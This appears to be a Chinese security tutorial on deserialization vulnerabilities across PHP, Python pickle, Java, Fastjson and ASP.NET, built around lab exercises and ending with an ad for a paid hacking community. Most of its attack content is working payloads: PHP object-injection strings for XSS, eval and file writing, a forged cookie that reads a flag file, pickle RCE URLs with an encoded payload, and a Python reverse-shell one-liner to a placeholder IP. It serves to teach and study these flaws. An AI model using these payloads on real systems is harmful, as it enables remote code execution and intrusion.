<meta charset='UTF-8' />
<?php
show_source(__FILE__); //高亮显示文件内容,__FILE__为php中的文件常量
class ab{ //class 类名
var $test ='123'; //$test=123 变量的赋值,var为数据类型
}
$class = new a; //初始化对象
$class1_ser = serialize($class1);
print_r("<br />".$class1_ser);
?>
不止对象,数组、变量均可以序列化。
在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。
解析认证token、session的位置
将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等
将对象序列化后在网络中传输,如传输json数据,xml数据等
参数传递给程序
使用RMI协议,被广泛使用的RMI协议完全基于序列化
使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等
定义协议用来接收与发送原始的java对象
php在反序列化时,底层代码是以 ;作为字段的分隔,以 } 作为结尾,这会造成随便在序列化数据后添加一些无用字符,反序列化的时候也会被忽略,因为遇到了;}会忽略后面的字符;
unserialize根据长度判断内容,长度不对应的时候会报错;
可以反序列化类中不存在的元素。
函数解析
序列化:serialize()函数
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。通俗来说,就是把一个对象变成可以传输的字符串。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符 (即“S”)
S:对象的名称
1:代表对象里面有一个变量
s:数据类型 (string 字符串)
4:变量名称的长度
test:变量名称
s:数据类型 (pikachu 同样为字符串string)
7:变量值的长度
pikachu:变量值
对于对象,序列化后的格式为:
O:strlen(类名长度):类名:类的变量个数:{类型:长度:值;类型:长度:值…}
其他类型的数据序列化后的格式为:
String类型 :s:size:value
Integer类型 :i:value
Boolean类型 :b:value (保存1或0)
Null型 :N
Array :a:size:{keydefinition;value definition}
还有需要注意的点是:分割不同字段}结尾,这对反序列化很重要
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
常见的几个魔法函数: //不同场景下被自动调用
__construct()当对象创建(new)时会自动调用。但在反序列化时是不会自动调用的。(构造函数)
__destruct()当对象被销毁时会自动调用。(析构函数)
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 在反序列化时立即被调用
漏洞举例:
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test; //一旦S这个类被创建,则将会自动使用魔法函数。当对象被销毁时,则下面的操作会被自动执行
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload【有效攻击负载,是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码】:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
反序列化的内容是从用户前端传过来的,若从前端传来的内容中插入了恶意的反序列化的内容,后台检测到会对内容进行反序列化,则通过反序列化的接口造成XSS漏洞【XSS漏洞经常出现在需要用户输入的地方,这些地方一旦对输入不进行处理,黑客就可以进行HTML注入,进而篡改网页,插入恶意脚本,从而控制用户浏览的一种攻击。】
1.pikachu靶场练习
反序列化漏洞一般需要代码审计来进行测试,扫描或者黑盒测试【在测试时,把程序看作一个不能打开的黑盒子,在完全不考虑程序内部结构和内部特性的情况下,测试者在程序接口进行测试,它只检查程序功能是否按照需求规格说明书的规定正常使用,程序是否能适当地接收输入数据而产生正确的输出信息,并且保持外部信息(如数据库或文件)的完整性,】很难发现这个漏洞。
源码:
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "unser.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if([email protected]$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
变量$s从url中test参数获取到内容,并且在反序列化的时候通过__destruct()直接将传入的数据(恶意的javascript)不经过任何处理,echo出来,这里就构造了xss漏洞。当脚本结束运行时,所有的对象都会销毁,就会自动调用__destruct方法。我们输入正确的反序列化的payload内容,则会弹出xss窗口。
2.靶场练习
<?php
Class readme{
public function __toString() //__toString():echo打印对象体时会直接调用
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true); //$this->source:定义了变量source,但是没有赋值
}
}
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__; //给变量source赋值__FILE__
echo $s; //$s->source = flag.php才会得到flag
exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos']; //$c=$h.$m
$h = substr($c, 0, 32); //字符串32位之前,$h = e2d4f7dcc43ee1db7f69e76303d0105c
$m = substr($c, 32); //字符串的32位到所有,$m = a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
if(md5($m) === $h){
$todos = unserialize($m); //因为下面$todos为数组输出,因此,反序列化后的$m也应该为数组
}
}
cookie传参:e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
?>
<html>
<head>
</head>
<h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?> //$todos为数组,foreach遍历数组
<li><?=$todo?></li> // <?php echo$todo; ?>
<?php endforeach;?>
</ul>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bo%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d。
放包后即可得到flag。
3.Python反序列化漏洞实验
Python中有两个模块可以实现对象的序列化,pickle和cPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些。使用时一般先尝试导入cPickle,如果失败,再导入pickle模块。
在解析认证token,session的时候;
(尤其web中使用的redis、mongodb、memcached等来存储session等状态信息)
将对象Pickle后存储成磁盘文件;
将对象Pickle后在网络中传输。
用法
一个是dump(), 作用是接受一个文件句柄和一个数据对象作为参数,把数据对象以特定的格式保存到给定的文件中;
另一个函数是load(),作用是从文件中取出已保存的对象,pickle 知道如何恢复这些对象到他们本来的格式。
pickle.dump(obj, file, protocol=None, *, fix_imports=True) //输出为文件对象
pickle.dumps(obj, protocol=None, *, fix_imports=True) //输出为 bytes 对象
pickle.load(file) // load参数是文件句柄
pickle.loads(file) // loads参数是字符串
漏洞复现
写一个最简单的demo环境,用户输入文件后使用pickle.load方法进行反序列化:
生成payload,定义执行calc命令的类,使用dumps方法进行序列化并输出到poc.pickle中:
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27calc%27%0Ap2%0AtRp3%0A.
任意代码执行(任意函数构造)
将上述的calc改为下面的字符串可实现反弹shell:
python-c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
得到payload:
http://127.0.0.1:8000/?payload=ctypes%0AFunctionType%0A%28cmarshal%0Aloads%0A%28cbase64%0Ab64decode%0A%28S%27YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMwAAAARDovb3RoZXIvUHl0aG9uX3NlYy9QaWNrbGVSQ0UvcGlja2xlX3BvY19nZW4wLnB5UgEAAAALAAAAcwYAAAAAAQwBBAFzCQAAAGZpYigxMCkgPWkKAAAAdAQAAABjYWxjKAIAAAB0AgAAAG9zdAYAAABzeXN0ZW0oAQAAAFIDAAAAKAAAAAAoAQAAAFIBAAAAczAAAABEOi9vdGhlci9QeXRob25fc2VjL1BpY2tsZVJDRS9waWNrbGVfcG9jX2dlbjAucHl0AwAAAGZvbwkAAABzCAAAAAABDAEPBA8B%27%0AtRtRc__builtin__%0Aglobals%0A%28tRS%27%27%0AtR%28tR.
更多payload:
https://github.com/sensepost/anapickle
NULL被序列化为:N
Boolean型数据序列化为:b:1,b:0,分别代表True和False
Integer型数据序列化为:i:数值
String型数据序列化为:s:长度:"值"
对象序列化为:O:类名长度:类名:字段数:字段
__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用
demo1.php
<?php
$a="test"; //字符串
$arr = array('j' => 'jack' ,'r' => 'rose'); //数组
class A{
public $test="yeah";
}
echo "序列化:";
echo "</br>";
$aa=serialize($a);
print_r($aa);
echo "</br>";
$arr_a=serialize($arr);
print_r($arr_a);
echo "</br>";
$class1 = new A(); //对象
$class_a=serialize($class1);
print_r($class_a);
echo "<br/>";
echo "反序列化:";
echo "<br/>";
print_r(unserialize($aa));
echo "</br>";
print_r(unserialize($arr_a));
echo "</br>";
print_r(unserialize($class_a));
?>
代码:
<?php
$a="test"; //字符串
$arr = array('j' => 'jack' ,'r' => 'rose'); //数组
class A{
public $test="<img src=1 onerror=alert(1)>";
}
echo "序列化:";
echo "</br>";
$aa=serialize($a);
print_r($aa);
echo "</br>";
$arr_a=serialize($arr);
print_r($arr_a);
echo "</br>";
$class1 = new A(); //对象
$class_a=serialize($class1);
print_r($class_a);
echo "<br/>";
echo "反序列化:";
echo "<br/>";
print_r(unserialize($aa));
echo "</br>";
print_r(unserialize($arr_a));
echo "</br>";
print_r(unserialize($class_a));
?>
<?php
class A{
var $test = "demo";
function __wakeup(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
$b = new A();
$c = serialize($b);
echo $c;
输出:O:1:"A":1:{s:4:"test";s:4:"demo";}
demo是$test变量,尝试修改$test的值是<img src=1 onerror=alert(1)>
注意前面的长度:
构造poc: http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}
<?php
class A{
var $test = "demo";
function __wakeup(){
eval($this->test);
}
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
直接构造poc:
http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";
使用pyhhon判断长度很方便
如果把10改成11就不能正常执行:
<?php
//为显示效果,把这个shell.php包含进来
require "shell.php";
class A{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$a= new A();
print_r(serialize($a));
$class1 = $_GET['test'];
print_r($class1);
echo "</br>";
$class1_unser = unserialize($class1);
?>
构造poc:
http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
<?php
require "shell.php";
class B{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class A{
var $test = '123';
function __wakeup(){
$obj = new B($this->test);
}
}
$class1 = $_GET['test'];
echo "</br>";
$class1_unser = unserialize($class1);
?>
构造poc:http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
<?php
class maniac{
public $test;
function __construct(){
$this->test =new x1();
}
function __destruct(){
$this->test->action();
}
}
class x1{
function action(){
echo "x1";
}
}
class x2{
public $test2;
function action(){
eval($this->test2);
}
}
$class2 = new maniac();
unserialize($_GET['test']);
?>
<?php
class maniac{
public $test;
function __construct(){
$this->test = new x2();
}
}
class x2{
public $test2="phpinfo();";
}
$class1 = new maniac();
print_r(serialize($class1))
?>
http://172.16.6.231/fanxulie/demo5.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
5.Java反序列化漏洞实验
Java中通常使用Java.io.ObjectOutputStream类中的writeObject方法进行序列化,java.io.ObjectInputStream类中的readObject方法进行反序列化。使用下面代码将字符串进行序列化和反序列化:
package com.company;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Main{
public static void main(String args[]) throws Exception {
String obj = "hello";
// 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件a.ser中读取数据
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复字符串
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
该类必须实现java.io.Serializable接口。
该类的所有属性必须是可序列化的,如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
package com.company;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 实例化对象test
Test test = new Test();
// 将对象test序列化后写入a.ser文件
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(test);
os.close();
}
}
执行程序后生成a.ser文件,以十六进制格式查看文件内容,如图:
最后5个字节分别为字符串长度和calc的ASCII值。因此,修改文件为下图所示,即notepad的ASCII值和长度:
使用下面代码进行反序列化对象:
package com.company;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.Serializable;
import java.io.IOException;
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 从a.ser文件中反序列化test对象
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Test objectFromDisk = (Test)ois.readObject();
System.out.println(objectFromDisk.cmd);
ois.close();
}
}
程序执行后成功运行notepad,如图:
6.FastJson反序列化漏洞简单实验
FastJson作为史上最快的Json解析库应用也十分广泛,在1.2.69版本以下,其AutoType特性在反序列化过程中会导致反序列化漏洞,这个特性就是:在对JSON字符串进行反序列化的时候,会读取@type参数指定的类,然后把JSON内容反序列化为此类的对象,并且会调用这个类的设置(setter)方法。
实验环境
前端采用json提交用户名密码
后台使用fastjson 1.2.24版本
源码和WAR包GitHub地址
https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment
创建一个User类,用于查看序列化数据格式,如图:
创建一个home类用于输出user对象的序列化数据,如图:
home
页面可直接获取user
对象序列化后的结果,如图:要执行命令需要构造新的POP链,常用的POP链:
基于JNDI注入
基于ClassLoader
基于TemplatesImpl
7.ASP.NET反序列化实验
采用Xml提交数据
使用.NET Framework 4.6.1
完整源码GitHub地址
https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Xml.Serialization;
namespace ASP.NETStudy
{
[Serializable]
public class Test
{
public string _cmd = "ipconfig";
public Test(string cmd)
{
_cmd = cmd;
}
public Test()
{
}
public String Run()
{
Process p = new Process();
// 设置要启动的应用程序
p.StartInfo.FileName = "cmd.exe";
// 不使用操作系统shell启动
p.StartInfo.UseShellExecute = false;
// 接受来自调用程序的输入信息
p.StartInfo.RedirectStandardInput = true;
// 输出信息
p.StartInfo.RedirectStandardOutput = true;
// 输出错误
p.StartInfo.RedirectStandardError = true;
// 不显示程序窗口
p.StartInfo.CreateNoWindow = true;
// 启动程序
p.Start();
// 向cmd窗口发送命令
p.StandardInput.WriteLine(_cmd + "&exit");
// 自动刷新
p.StandardInput.AutoFlush = true;
// 获取输出信息
string strOuput = p.StandardOutput.ReadToEnd();
//等待程序执行完退出进程
p.WaitForExit();
p.Close();
// 返回执行结果
return strOuput;
}
}
public partial class _default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
// 实例化对象 sc_Test
Test sc_Test = new Test();
// 创建字符串缓冲区buffer
StringBuilder buffer = new StringBuilder();
// 实例化序列号对象
XmlSerializer serializer = new XmlSerializer(typeof(Test));
// 序列化对象sc_Test并存储到buffer
using (TextWriter writer = new StringWriter(buffer))
{
serializer.Serialize(writer, sc_Test);
}
String str = buffer.ToString();
// 将xml数据HTML实体化,防止Windows安全检查拦截
string r = string.Empty;
for (int i = 0; i < str.Length; i++)
{
r += "&#" + Char.ConvertToUtf32(str, i) + ";";
}
// 输出到页面
Response.Write("<center><h2>序列化数据</h2><textarea rows=\"10\" cols=\"100\" readonly align=\"center\">" + r+ "</textarea></center>");
}
}
}
using System;
using System.IO;
using System.Xml.Serialization;
namespace ASP.NETStudy
{
public partial class info : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Request.RequestType == "POST")
{
// 获取客户端提交的数据
StreamReader s = new StreamReader(Request.InputStream);
// 转换为String格式
String ss = s.ReadToEnd();
//Response.Write(ss);
// 定义反序列化对象
Test dsc_Test;
XmlSerializer serializer = new XmlSerializer(typeof(Test));
// 反序列化数据为dsc_Test对象
using (TextReader reader = new StringReader(ss))
{
Object obj = serializer.Deserialize(reader);
dsc_Test = (Test)obj;
}
// 调用对象的函数Run并返回执行结果到浏览器
Response.Write(dsc_Test.Run());
}
}
}
}
https://github.com/zhuifengshaonianhanlu/pikachu #皮卡丘靶场地址
https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment #FastJson反序列化靶场地址
https://github.com/NHPT/ASP.NET-Deserialization-Vulnerability-Experiment #ASP.NET反序列化靶场地址
https://github.com/frohoff/ysoserial #JAVA反序列化工具
https://github.com/ambionics/phpggc #PHP反序列化工具
https://github.com/pwntester/ysoserial.net #.NET反序列化工具
反序列化之前,先进行严格的数据类型校验。由于校验规则容易被攻击者探索出来,进而容易被绕过,因此防御不能仅依赖这一个手段,但可以作为完整性校验防御方案的补充。
对反序列化过程进行详尽的日志记录,用以安全审计或调查。
监控反序列化过程,在发现疑似反序列化攻击时进行警报。
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读